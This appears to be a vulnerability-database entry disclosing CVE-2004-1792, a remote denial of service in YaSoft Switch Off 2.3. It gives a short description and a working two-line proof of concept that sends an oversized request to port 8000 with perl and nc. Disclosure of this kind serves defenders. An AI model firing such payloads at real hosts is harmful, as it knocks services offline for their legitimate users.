YaSoft Switch Off 2.3 - Large Packet Remote Denial of Service

Author: Peter Winter-Smith
type: dos
platform: hardware
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date_added: 2004-01-02 
date_updated: 2012-12-19 
verified: 1 
codes: CVE-2004-1792;OSVDB-60042 
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source: https://www.securityfocus.com/bid/9339/info

A problem has been identified in the YaSoft Switch Off software package when handling large packets via the service management port (8000/TCP). This may make it possible for a remote user to deny service to legitimate users of the service.

perl -e "print 'a'x10240 . chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a);" > DoS.txt

nc 127.0.0.1 8000 < DoS.txt